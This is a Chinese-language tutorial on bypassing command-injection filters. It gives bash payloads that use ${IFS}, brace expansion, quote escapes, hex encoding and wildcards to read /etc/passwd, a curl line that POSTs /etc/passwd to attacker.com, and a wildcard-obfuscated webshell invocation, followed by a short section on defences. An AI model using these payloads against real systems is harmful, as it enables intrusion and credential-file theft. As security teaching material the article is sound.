1. 命令注入防御与Bypass的本质矛盾
在Web安全领域,命令注入(Command Injection)始终是攻防对抗的前沿阵地。当应用程序将用户输入直接拼接到系统命令中执行时,攻击者通过精心构造的输入数据,就能突破原有命令逻辑执行任意系统指令。而防御方则通过过滤、转义、白名单等手段试图阻断这种攻击。这种矛与盾的较量催生了各种Bypass技术,其中对空格、引号和通配符的巧妙利用堪称艺术。
我曾在一次渗透测试中遇到这样的场景:目标系统对用户输入的IP地址进行ping测试,但开发人员仅用正则表达式/^[0-9.]+$/验证输入格式。表面看似乎安全,但通过插入;id这样的payload就能执行系统命令。当管理员开始过滤分号时,换行符、反引号、管道符等又成为新的突破口。这种对抗正是本文要探讨的核心。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 空格绕过的六种高阶姿势
2.1 不可见字符替代方案
当系统过滤空格字符时,以下替代方案往往有效:
${IFS}:Shell内部字段分隔符$IFS$9:$9是Shell中的空参数引用%09:URL编码的制表符<和>:重定向符号在特定上下文可作分隔符{cmd,arg}:花括号扩展语法
实测案例:
bash复制# 原始被过滤的命令
cat /etc/passwd
# 绕过方案
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
cat</etc/passwd
{cat,/etc/passwd}
2.2 字符拼接技巧
通过变量替换和字符串拼接可以构造无空格命令:
bash复制# 使用变量拼接
a=cat;b=/etc/passwd;$a$b
# 十六进制编码
`echo '636174202F6574632F706173737764' | xxd -r -p`
关键提示:在Bash环境下,
${IFS}的绕过效果取决于具体的Shell版本和环境配置,测试时需准备多种方案
3. 引号逃逸的三种维度
3.1 未闭合引号的利用
当命令中存在未闭合的引号时,可以精心构造输入使其成为合法语法:
bash复制# 原始脆弱代码
system("ping -c 1 '" + user_input + "'")
# 攻击payload
127.0.0.1' || whoami #
3.2 转义引号的魔法
通过反斜杠转义引号改变解析逻辑:
bash复制# 输入示例
\";cat /etc/passwd;echo \"
# 实际执行效果
original_cmd ";cat /etc/passwd;echo ""
3.3 编码转换技巧
使用各种编码形式绕过引号过滤:
- 十六进制:
\x22 - Unicode:
\u0022 - HTML实体:
"
4. 通配符的七十二变
4.1 文件路径模糊匹配
bash复制# 查看密码文件
cat /etc/pas*
# 列出目录内容
/bin/cat /etc/p??swd
4.2 命令执行通配技巧
bash复制# 通过/bin目录执行
/bin/c?t /etc/passwd
# 利用环境变量路径
/usr/bin/??t /???/pass??
4.3 字符类通配符
bash复制# 匹配特定字符集
cat /etc/pass[a-z]d
# 反向选择
cat /etc/pass[!x]d
5. 组合技实战案例
5.1 综合绕过WAF的示例
假设目标过滤了空格、引号和常见通配符:
bash复制# 最终payload
{curl,-X,POST,--data-binary,@/etc/passwd,https://attacker.com}
# 等效于
curl -X POST --data-binary @/etc/passwd https://attacker.com
5.2 无字母数字webshell
通过通配符和特殊符号构造执行:
bash复制# 使用通配符执行sh
/?in/?h /tmp/??ll.???
# 等同于
/bin/sh /tmp/shell.php
6. 防御者的应对策略
6.1 输入验证的黄金法则
- 使用严格的白名单而非黑名单
- 对数据类型进行强制验证(如IP地址、数字等)
- 实施长度限制和字符集限制
6.2 安全的命令执行API
python复制# 危险方式
os.system("ping " + ip)
# 安全方式
subprocess.run(["ping", "-c", "1", ip], check=True)
6.3 深度防御措施
- 设置严格的PATH环境变量
- 使用chroot或容器隔离执行环境
- 实施系统调用白名单(seccomp)
在实际渗透测试中,我曾遇到一个过滤了所有特殊字符但允许星号的系统。通过构造/*/../../*/*sswd这样的路径,成功读取了密码文件。这种对抗过程就像下棋,需要不断思考开发人员的过滤逻辑并寻找其思维盲区。
命令注入的Bypass没有放之四海皆准的银弹,关键在于理解底层解析原理。比如知道Bash在处理命令行时会经历分词、扩展、重定向等多个阶段,就能在这些阶段间寻找突破口。每次遇到新的过滤机制,都是一次学习Shell解析器特性的机会。
